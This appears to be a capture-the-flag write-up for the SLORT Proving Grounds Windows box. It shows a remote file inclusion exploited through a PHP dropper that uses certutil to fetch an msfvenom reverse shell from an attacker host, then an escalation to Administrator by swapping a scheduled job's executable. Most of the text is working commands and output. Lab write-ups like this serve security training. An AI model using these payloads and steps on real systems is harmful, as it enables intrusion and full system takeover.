# SLORT Writeup - Proving Grounds

> Intermediate Windows box exploited through a remote file inclusion that downloads and runs a reverse shell under XAMPP, then escalated by swapping a scheduled job's writable executable for a payload that returns a shell as Administrator.

- **URL:** https://hackindex.io/writeups/slort
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** remote-file-inclusion, xampp, privilege-escalation, weak-permissions, scheduled-task-abuse
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

SLORT exposes a remote file inclusion vulnerability in a small PHP site running under XAMPP, which is enough to download and run a reverse shell directly from the attacking machine. On the box, a world-writable backup folder holds an executable that an automated job runs every few minutes, and swapping that executable for a payload hands back a shell as Administrator.

## Reconnaissance

### Nmap

Scan all TCP ports, then re-scan the open ones with version detection.

```bash
nmap -p- $TARGET_IP -Pn
# PORT      STATE SERVICE
# 21/tcp    open  ftp
# 135/tcp   open  msrpc
# 139/tcp   open  netbios-ssn
# 445/tcp   open  microsoft-ds
# 3306/tcp  open  mysql
# 4443/tcp  open  pharos
# 5040/tcp  open  unknown
# 7680/tcp  open  pando-pub
# 8080/tcp  open  http-proxy
# 49664-49669/tcp open unknown
```

```bash
nmap $TARGET_IP -A -p21,135,139,445,3306,4443,5040,7680,8080,49664,49665,49667,49668,49669 -Pn
# 21/tcp    open  ftp           FileZilla ftpd 0.9.41 beta
# 3306/tcp  open  mysql?
# | fingerprint-strings:
# |_    Host '$ATTACKER_IP' is not allowed to connect to this MariaDB server
# 4443/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
# |_http-title: Welcome to XAMPP
# 8080/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
# |_http-title: Welcome to XAMPP
# Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

A Windows host running XAMPP, with the MariaDB instance rejecting remote logins. Two XAMPP dashboards sit on 4443 and 8080; focus on 8080.

### Directory brute force

```bash
dirb http://$TARGET_IP:8080
# ---- Entering directory: http://$TARGET_IP:8080/site/ ----
# + http://$TARGET_IP:8080/site/index.php (CODE:301|SIZE:27)
```

A custom `/site/` application sits alongside the default XAMPP dashboard.

## Exploitation

### Remote file inclusion

`/site/` redirects to `index.php?page=main.php`. Testing the `page` parameter with a bogus value throws an `include()` warning that names the full server path.

```bash
curl http://$TARGET_IP:8080/site/index.php?page=hola
# Warning: include(hola): failed to open stream: No such file or directory in C:\xampp\htdocs\site\index.php on line 4
```

The parameter is passed straight into `include()`. Point it at a URL to check whether remote fetches are allowed, while a listener on the attacking machine waits for the callback.

```bash
sudo nc -lvvp 80
# listening on [any] 80 ...
```

```bash
curl http://$TARGET_IP:8080/site/index.php?page=http://$ATTACKER_IP/hola
```

The listener catches the inbound request, confirming remote file inclusion. Serving a small PHP file instead of a dummy one proves code execution.

```php
<?php
phpinfo();
?>
```

```bash
sudo python3 -m http.server 80
curl http://$TARGET_IP:8080/site/index.php?page=http://$ATTACKER_IP/info.php
# ... PHP Version ... (phpinfo output confirms execution)
```

Build a reverse shell binary and a small PHP dropper that pulls it onto the target with `certutil`.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe > shell.exe
# Final size of exe file: 73802 bytes
```

```php
<?php
$exec = system('certutil.exe -urlcache -split -f "http://$ATTACKER_IP/shell.exe" shell.exe', $val);
?>
```

```bash
curl http://$TARGET_IP:8080/site/index.php?page=http://$ATTACKER_IP/pwn.php
# CertUtil: -URLCache command completed successfully.
```

The web server log confirms `shell.exe` landed on the target. Flip `pwn.php` to execute it instead of downloading it, start a listener, and trigger it through the same RFI parameter.

```php
<?php
$exec = system('shell.exe', $val);
?>
```

```bash
sudo nc -lvvvp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# Microsoft Windows
#
# C:\xampp\htdocs\site>
```

Shell as the IIS/XAMPP service identity, running out of the webroot.

## Privilege Escalation

### Writable backup folder

```powershell
cd C:\ && icacls Backup
# Backup BUILTIN\Users:(OI)(CI)(F)
#        BUILTIN\Administrators:(I)(OI)(CI)(F)
#        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
```

`BUILTIN\Users` has full control over `C:\Backup`. A note inside explains why that matters.

```powershell
cd Backup && dir && type info.txt
# backup.txt
# info.txt
# TFTP.EXE
#
# Run every 5 minutes:
# C:\Backup\TFTP.EXE -i $ATTACKER_IP get backup.txt
```

`TFTP.EXE` runs on a recurring schedule, almost certainly as a privileged account. Since the folder is writable, replace the binary with a payload instead of trying to find who runs it.

### Swapping the scheduled binary

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe > evil.exe
# Final size of exe file: 73802 bytes
```

```powershell
certutil.exe -urlcache -split -f "http://$ATTACKER_IP/evil.exe" "C:\Backup\evil.exe"
move TFTP.EXE TFTP.EXE_BKP
move evil.exe TFTP.EXE
# CertUtil: -URLCache command completed successfully.
# 1 file(s) moved.
# 1 file(s) moved.
```

Start a listener and wait for the next scheduled run.

```bash
sudo nc -lvvvp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# Microsoft Windows
#
# C:\Windows\system32>whoami
# slort\administrator
```

The scheduled job runs the swapped binary as `administrator`, handing back a privileged shell.

Related
